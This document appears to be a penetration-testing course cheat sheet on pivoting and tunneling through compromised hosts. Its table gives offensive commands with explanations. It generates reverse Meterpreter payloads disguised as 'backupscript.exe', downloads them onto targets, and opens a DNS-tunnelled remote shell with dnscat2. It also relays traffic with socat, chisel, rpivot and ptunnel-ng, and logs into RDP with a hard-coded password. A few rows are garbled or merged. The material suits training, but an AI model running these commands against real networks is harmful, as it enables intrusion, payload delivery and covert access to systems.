# Pivoting And Tunneling | Command | Description | | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `ifconfig` | Linux-based command that displays all current network configurations of a system. | | `ipconfig` | Windows-based command that displays all system network configurations. | | `netstat -r` | Command used to display the routing table for all IPv4-based protocols. | | `nmap -sT -p22,3306 ` | Nmap command used to scan a target for open ports allowing SSH or MySQL connections. | | `ssh -L 1234:localhost:3306 Ubuntu@` | SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306. | | `netstat -antp \| grep 1234` | Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` . | | `nmap -v -sV -p1234 localhost` | Nmap command used to scan a host through a connection that has been made on local port `1234`. | | `ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@` | SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`. | | `ssh -D 9050 ubuntu@` | SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy. | | `tail -4 /etc/proxychains.conf` | Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place. | | `proxychains nmap -v -sn 172.16.5.1-200` | Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`). | | `proxychains nmap -v -Pn -sT 172.16.5.19` | Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`). | | `proxychains msfconsole` | Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy. | | `msf6 > search rdp_scanner` | Metasploit search that attempts to find a module called `rdp_scanner`. | | `proxychains xfreerdp /v: /u:victor /p:pass@123` | Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy. | | `msfvenom -p windows/x64/meterpreter/reverse_https lhost= -f exe -o backupscript.exe LPORT=8080` | Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following `lhost=` on local port 8080 (`LPORT=8080`). Payload will take the form of an executable file called `backupscript.exe`. | | `msf6 > use exploit/multi/handler` | Used to select the multi-handler exploit module in Metasploit. | | `scp backupscript.exe ubuntu@:~/` | Uses secure copy protocol (`scp`) to transfer the file `backupscript.exe` to the specified host and places it in the Ubuntu user's home directory (`:~/`). | | `python3 -m http.server 8123` | Uses Python3 to start a simple HTTP server listening on port `8123`. Can be used to retrieve files from a host. | | `Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"` | PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`. | | `ssh -R :8080:0.0.0.0:80 ubuntu@ -vN` | SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target. | | `msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23` | Metasploit command that runs a ping sweep module against the specified network segment (`RHOSTS=172.16.5.0/23`). | | | | | `for i in {1...254} ;do (ping -c 1 172.16.5.$i \| grep "bytes from" &) ;done` | For Loop used on a Linux-based system to discover devices in a specified network segment. | | `for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \| find "Reply"` | For Loop used on a Windows-based system to discover devices in a specified network segment. | | `1..254 \| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}` | PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment. | | `msf6 > use auxiliary/server/socks_proxy` | Metasploit command that selects the `socks_proxy` auxiliary module. | | `msf6 auxiliary(server/socks_proxy) > jobs` | Metasploit command that lists all currently running jobs. | | `socks4 127.0.0.1 9050` | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port. | | `Socks5 127.0.0.1 1080` | Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port. | | `msf6 > use post/multi/manage/autoroute` | Metasploit command used to select the autoroute module. | | | | | `meterpreter > help portfwd` | Meterpreter command used to display the features of the portfwd command. | | `meterpreter > portfwd add -l 3300 -p 3389 -r ` | Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target. | | `xfreerdp /v:localhost:3300 /u:victor /p:pass@123` | Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly. | | `netstat -antp` | Used to display all (`-a`) active network connections with associated process IDs. `-t` displays only TCP connections.`-n` displays only numerical addresses. `-p` displays process IDs associated with each displayed connection. | | `meterpreter > portfwd add -R -l 8081 -p 1234 -L ` | Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host. | | `meterpreter > bg` | Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux | | `socat TCP4-LISTEN:8080,fork TCP4::80` | Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80. | | `socat TCP4-LISTEN:8080,fork TCP4::8443` | Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443. | | `plink -D 9050 ubuntu@` | Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host. | | `sudo apt-get install sshuttle` | Uses apt-get to install the tool sshuttle. | | `sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v` | Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (`172.16.5.0`). | | `sudo git clone https://github.com/klsecservices/rpivot.git` | Clones the rpivot project GitHub repository. | | `sudo apt-get install python2.7` | Uses apt-get to install python2.7. | | `python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0` | Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`). | | `scp -r rpivot ubuntu@` | Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target. | | `python2.7 client.py --server-ip 10.10.14.18 --server-port 9999` | Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port. | | `proxychains firefox-esr :80` | Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server. | | `python client.py --server-ip --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain --username --password ` | Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication. | | `netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25` | Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389. | | `netsh.exe interface portproxy show v4tov4` | Windows-based command used to view the configurations of a portproxy rule called v4tov4. | | `git clone https://github.com/iagox86/dnscat2.git` | Clones the `dnscat2` project GitHub repository. | | `sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache` | Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled. | | `git clone https://github.com/lukebaggett/dnscat2-powershell.git` | Clones the dnscat2-powershell project Github repository. | | `Import-Module dnscat2.ps1` | PowerShell command used to import the dnscat2.ps1 tool. | | `Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd` | PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`). | | `dnscat2> ?` | Used to list dnscat2 options. | | `dnscat2> window -i 1` | Used to interact with an established dnscat2 session. | | `./chisel server -v -p 1234 --socks5` | Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5. | | `./chisel client -v 10.129.202.64:1234 socks` | Used to connect to a chisel server at the specified IP address & port using socks. | | `git clone https://github.com/utoni/ptunnel-ng.git` | Clones the ptunnel-ng project GitHub repository. | | `sudo ./autogen.sh` | Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files. | | `sudo ./ptunnel-ng -r10.129.202.64 -R22` | Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`). | | `sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22` | Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`). | | `ssh -p2222 -lubuntu 127.0.0.1` | SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel. | | `regsvr32.exe SocksOverRDP-Plugin.dll` | Windows-based command used to register the SocksOverRDP-PLugin.dll. | | `netstat -antb \|findstr 1080` | Windows-based command used to list TCP network connections listening on port 1080. | | `.\chisel.exe client IP:9002 R:socks` | Chisel usage for proxychains on target | | `chisel server --reverse --port 9002` | Chisel usage on attacker |